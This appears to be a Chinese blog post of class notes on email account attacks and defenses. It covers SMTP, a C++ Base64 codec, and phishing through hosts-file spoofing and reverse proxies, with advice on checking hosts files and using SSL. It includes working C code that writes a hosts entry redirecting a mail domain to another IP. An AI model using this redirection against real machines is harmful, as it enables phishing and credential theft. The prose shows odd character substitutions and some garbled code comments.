首页 > 代码库 > 传智播客c/c++公开课学习笔记--邮箱账户的破解与邮箱安全防控
传智播客c/c++公开课学习笔记--邮箱账户的破解与邮箱安全防控
一、SMTP协议
SMTP(SimpleMail Transfer Protocol)即简单邮件传输协议。
SMTP协议属于TCP/IP协议簇,通过SMTP协议所指定的server,就能够把E-mail寄到收信人的server上。
SMTPserver则是遵循SMTP协议的发送邮件server,用来发送或中转发出的电子邮件。
SMTP使用TCP提供的可靠的传输数据服务把邮件消息从发信人的邮件server传送到收信人的邮件server。
跟大多数应用层协议一样,SMTP也存在两个 端:在发信人的邮件server上执行的client和在收信人的邮件server上执行的server端。SMTP的client和server端同一时候执行在每一个邮件server上。
当一个邮件server在向其它邮件server发送邮件消息时,它是作为SMTP客户在执行。
二、Base64编码
Base64是网络上最常见的用于传输8Bit字节代码的编码方式之中的一个,參见RFC2045~RFC2049,上面有MIME的具体规范。
Base64编码可用于在SMTP的username和password验证以及邮件附件编码。採用Base64编码具有不可读性,即所编码的数据不会被人用肉眼所直接看到。
// Base64.h: interface for the CBase64 class. // ////////////////////////////////////////////////////////////////////// #if !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_) #define AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_ #include <string> #include <stdio.h> #include <string.h> using namespace std; class CBase64 { public: CBase64(); virtual ~CBase64(); virtual int Decode(const char* szDecoding, char* szOutput );//base64 to ascii virtual int Encode(const char* szEncoding, int nSize, char* szOutput);//ascii to base64 protected: unsigned char encodeBuf[3000]; char Base2Chr( char n ) { n &= 0x3F; return m_sBase64Alphabet[(int)n]; if ( n < 26 ) return ( char )( n + 'A' ); else if ( n < 52 ) return ( char )( n - 26 + 'a' ); else if ( n < 62 ) return ( char )( n - 52 + '0' ); else if ( n == 62 ) return '+'; else return '/'; } unsigned char Chr2Base( char c ) { if ( c >= 'A' && c <= 'Z' ) return ( unsigned char )( c - 'A' ); else if ( c >= 'a' && c <= 'z' ) return ( unsigned char )( c - 'a' + 26 ); else if ( c >= '0' && c <= '9' ) return ( unsigned char )( c - '0' + 52 ); else if ( c == '+' ) return 62; else if ( c == '/' ) return 63; else return 64; // N^P'WV7{ } static std::string m_sBase64Alphabet; }; //modify end #endif // !defined(AFX_BASE64_H__6A4B8840_B49D_48B8_9B49_A6EE998623DC__INCLUDED_)
// Base64.cpp: implementation of the CBase64 class. #define _CRT_SECURE_NO_WARNINGS #include "Base64.h" // The 7-bit alphabet used to encode binary information ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// CBase64::CBase64() { memset(encodeBuf, 0, sizeof(encodeBuf)); } CBase64::~CBase64() { } std::string CBase64::m_sBase64Alphabet("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" ); int CBase64::Decode(const char* szDecoding, char* szOutput )//base64 to ascii { unsigned char * p = (unsigned char *)szOutput; int i, n = strlen( szDecoding ); unsigned char c, t; for ( i = 0; i < n; i++ ) { if ( *szDecoding == '=' ) break; do { if ( *szDecoding ) c = Chr2Base( *szDecoding++ ); else c = 65; // WV7{4.=aJx } while ( c == 64 ); // Lx9}N^P'WV7{#,Hg;X355H if ( c == 65 ) break; switch ( i % 4 ) { case 0 : t = c << 2; break; case 1 : *p++ = ( unsigned char )( t | ( c >> 4 ) ); t = ( unsigned char )( c << 4 ); break; case 2 : *p++ = ( unsigned char )( t | ( c >> 2 ) ); t = ( unsigned char )( c << 6 ); break; case 3 : *p++ = ( unsigned char )( t | c ); break; } } //(char *)szOutput; return ( (char*)p - szOutput ); } int CBase64::Encode(const char* szEncoding, int nSize, char* szOutput)//ascii to base64 { std::string sOutput = string(""); int nIndex = 0; //unsigned char cTemp1[4096]; memset(encodeBuf, 0, sizeof(encodeBuf)); if (!szEncoding) return 0; /*else (unsigned char*)szEncoding;*/ memcpy(encodeBuf, szEncoding, nSize); unsigned char *cTemp = encodeBuf; unsigned char t; for ( nIndex = 0; nIndex < nSize; nIndex++ ) { switch ( nIndex % 3 ) { case 0 : sOutput += Base2Chr( *cTemp >> 2 ); t = ( *cTemp << 4 ) & 0x3F; cTemp++; break; case 1 : sOutput += Base2Chr( t | ( *cTemp >> 4 ) ); t = ( *cTemp << 2 ) & 0x3F; cTemp++; break; case 2 : sOutput += Base2Chr( t | ( *cTemp >> 6 ) ); sOutput += Base2Chr( *cTemp & 0x3F ); cTemp++; break; } } if ( nSize % 3 != 0 ) { sOutput += Base2Chr( t ); if ( nSize % 3 == 1 ) sOutput += '='; sOutput += '='; } strcpy(szOutput, sOutput.c_str()); return sOutput.length(); }
#include <stdio.h> #include <string.h> #include "Base64.h" int main01()//这个是将ascii转化为base64的代码 { CBase64 base;//创建CBase64类的一个实例,也叫一个对象, char base64[100] = { 0 }; char ascii[100] = "18513105526"; base.Encode(ascii, strlen(ascii), base64); printf("%s\n", base64); return 0; } int main()//这个是将base64转化为ascii的代码 { CBase64 base;//创建CBase64类的一个实例,也叫一个对象。 char base64[100] = "UGFzc3dvcmQ6"; char ascii[100] = { 0 }; base.Decode(base64, ascii);//将base64这个字符串转化为ascii,结果放到ascii这个字符串里面 printf("%s\n", ascii); return 0; }
三、邮箱账户的破解与防护
1)hosts欺骗与钓鱼站点
钓鱼站点的实现以及怎样防范
钓鱼站点就是一个和真实站点样子非常相似的一个冒牌站点
钓鱼站点把用户输入的信息都截获了
钓鱼站点怎样让用户能主动登陆到钓鱼站点呢?
Hosts欺骗,在windows系统文件夹下有一个hosts文件,这个文件内部存放的就是IP和域名的相应关系
我仅仅须要在hosts文件里增加一行。比方要让用户登陆到mail.wo.cn这个站点的时候自己主动登陆钓鱼站点
Hosts文件里
123.57.211.212 mail.wo.cn
怎样防范,一定要定期检查你的hosts文件,看是否有未知的IP以及其它的域名信息,
不要擅自执行来路不明各种程序,由于有些程序就是恶意的改动你的hosts文件的
#include <Windows.h> #include <stdio.h> #include <string.h> #pragma warning(disable:4996)//屏蔽vs 4996这个错误信息 int setHosts(const char *IP, const char *domain)//改动hosts文件 { char s[100] = { 0 }; GetSystemDirectoryA(s, sizeof(s));//得到windows的系统安装文件夹 char path[1024] = { 0 }; sprintf(path, "%s\\%s", s, "\\drivers\\etc\\hosts"); char content[1024] = { 0 }; sprintf(content, "\n%s %s", IP, domain); FILE *p = fopen(path, "a");//用追加的方式打开hosts文件 if (p) { fputs(content, p);//将ip与域名的相应关系写入hosts文件 fclose(p); return 0;//代表写入成功 } return -1;// 写入hosts文件失败 } int main() { int rc = setHosts("123.57.211.212", "smtp.wo.cn"); printf("rc = %d\n", rc); return 0; }
2)反向代理
怎样通过反向代理来窃取password。以及怎样防范
通过反向代理,差点儿能够无缝的窃取client的非常多信息
一般如今的smtp都具备ssl。所以最好用ssl来连接邮件server。由于用ssl即使有反向代理截获了消息报文,但破译报文的代价会非常大。
为了邮箱的安全,请各位同学一定要使用带ssl功能的邮件server。ssl全部报文都是加密的
切记一定不能擅自执行各种来路不明的程序,有些程序就是通过改动hosts文件来达到钓鱼或者反向代理的恶意企图的。
邮箱的password一旦泄露,有时候代价会非常大。由于非常多骗子会利用你的邮箱发邮件。同一时候万一你的邮箱password和你的其它password是同样。那就更危急了。
传智播客c/c++公开课学习笔记--邮箱账户的破解与邮箱安全防控